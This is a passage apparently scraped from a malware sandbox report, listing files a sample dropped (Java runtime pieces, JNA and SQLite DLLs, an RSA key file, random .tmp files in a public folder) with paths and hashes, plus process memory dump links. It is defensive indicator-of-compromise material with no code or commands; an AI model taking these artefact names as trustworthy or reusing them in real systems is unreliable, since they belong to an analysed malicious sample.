                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\lib\tzmappings
                • Size 21KB
                • SHA256 36dc51c4bf787f640a4b45cbb84ab6954f6e595cbd3617c2f5a4e1e607b38bff
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                jna4406368573608183183.dll
                • Path C:\Users\Admin\AppData\Local\Temp\jna-63116079\jna4406368573608183183.dll
                • Size 248KB
                • SHA256 69c45175ecfd25af023f96ac0bb2c45e6a95e3ba8a5a50ee7969ccab14825c44
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                sqlite-3.45.2.0-a85b8cf0-d5c7-4154-89c1-5c8bd9ea9433-sqlitejdbc.dll
                • Path C:\Users\Admin\AppData\Local\Temp\sqlite-3.45.2.0-a85b8cf0-d5c7-4154-89c1-5c8bd9ea9433-sqlitejdbc.dll
                • Size 947KB
                • SHA256 535c51e5a4e9baccf417cc25601fa9daa5c49087bd9fc1dfb39b1d73beba4c3a
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                83aa4cc77f591dfc2374580bbd95f6ba_1190f6a9-ab12-41a5-a5dd-25e481f1df6c
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-895009113-1202185046-1686627690-1000\83aa4cc77f591dfc2374580bbd95f6ba_1190f6a9-ab12-41a5-a5dd-25e481f1df6c
                • Size 45B
                • SHA256 11e6aca8e682c046c83b721eeb5c72c5ef03cb5936c60df6f4993511ddc61238
                • MD5 SHA1 SHA512
                Submit Download

                5odgbnoa7iuqdabm.tmp
                • Path C:\Users\Public\5odgbnoa7iuqdabm.tmp
                • Size 204KB
                • SHA256 8c24b66b55bef2d89d1ac69204ec3d5d7b191ba051c7c4c4cddcd66d92575d04
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                6om4ulvlsl7b08sk.tmp
                • Path C:\Users\Public\6om4ulvlsl7b08sk.tmp
                • Size 160KB
                • SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                8bj1ednifpenq4xz.tmp
                • Path C:\Users\Public\8bj1ednifpenq4xz.tmp
                • Size 20KB
                • SHA256 8950bc0cc000e06a92aa7a7fbcff157b777e08a1758ef70c4cd3c46d73f7bcc1
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                cmt066c1pyxtnaiw.tmp
                • Path C:\Users\Public\cmt066c1pyxtnaiw.tmp
                • Size 138KB
                • SHA256 764abd0a43cdc4caa4331ecc8010d715aac367586b9ff4e47ab91711edb4bd93
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                pl86dfnyazhu9jqy.tmp
                • Path C:\Users\Public\pl86dfnyazhu9jqy.tmp
                • Size 40KB
                • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                s0fskgcza3um5ahg.tmp
                • Path C:\Users\Public\s0fskgcza3um5ahg.tmp
                • Size 224KB
                • SHA256 d781b56555e65272ef4019de8706cba5042fb7afcf0f6e2ca56183ca9567ba8e
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                memory/1564-700-0x000001B55EFC0000-0x000001B55EFE6000-memory.dmp
                Download

                memory/1564-699-0x000001B55EF60000-0x000001B55EF6A000-memory.dmp
                Download

                memory/1564-702-0x000001B55EFA0000-0x000001B55EFA8000-memory.dmp
                Download

                memory/2300-345-0x0000016A60E20000-0x0000016A61090000-memory.dmp
                Download

                memory/2300-581-0x0000016A59360000-0x0000016A595D0000-memory.dmp
                Download

                memory/2300-591-0x0000016A60E20000-0x0000016A61090000-memory.dmp
                Download

                memory/2300-328-0x0000016A60890000-0x0000016A60B00000-memory.dmp
                Download

                memory/2300-475-0x0000016A60890000-0x0000016A60B00000-memory.dmp
                Download

                memory/2300-340-0x0000016A59360000-0x0000016A595D0000-memory.dmp
                Download

                memory/2300-799-0x0000016A60E20000-0x0000016A61090000-memory.dmp
                Download

                memory/2300-798-0x0000016A59360000-0x0000016A595D0000-memory.dmp
                Download

                memory/2300-797-0x0000016A60890000-0x0000016A60B00000-memory.dmp
                Download

                memory/2300-796-0x00007FF9E5690000-0x00007FF9E5785000-memory.dmp
                Download

                memory/3320-375-0x000001D66D330000-0x000001D66D35A000-memory.dmp
                Download

                memory/3320-366-0x000001D66D2D0000-0x000001D66D2F2000-memory.dmp
                Download

                memory/3320-376-0x000001D66D330000-0x000001D66D354000-memory.dmp
                Download

                memory/4012-573-0x000002CA43540000-0x000002CA4355A000-memory.dmp
                Download

                memory/4012-572-0x000002CA432F0000-0x000002CA432FE000-memory.dmp
                Download

                memory/4308-870-0x00007FF9E5690000-0x00007FF9E5785000-memory.dmp
                Download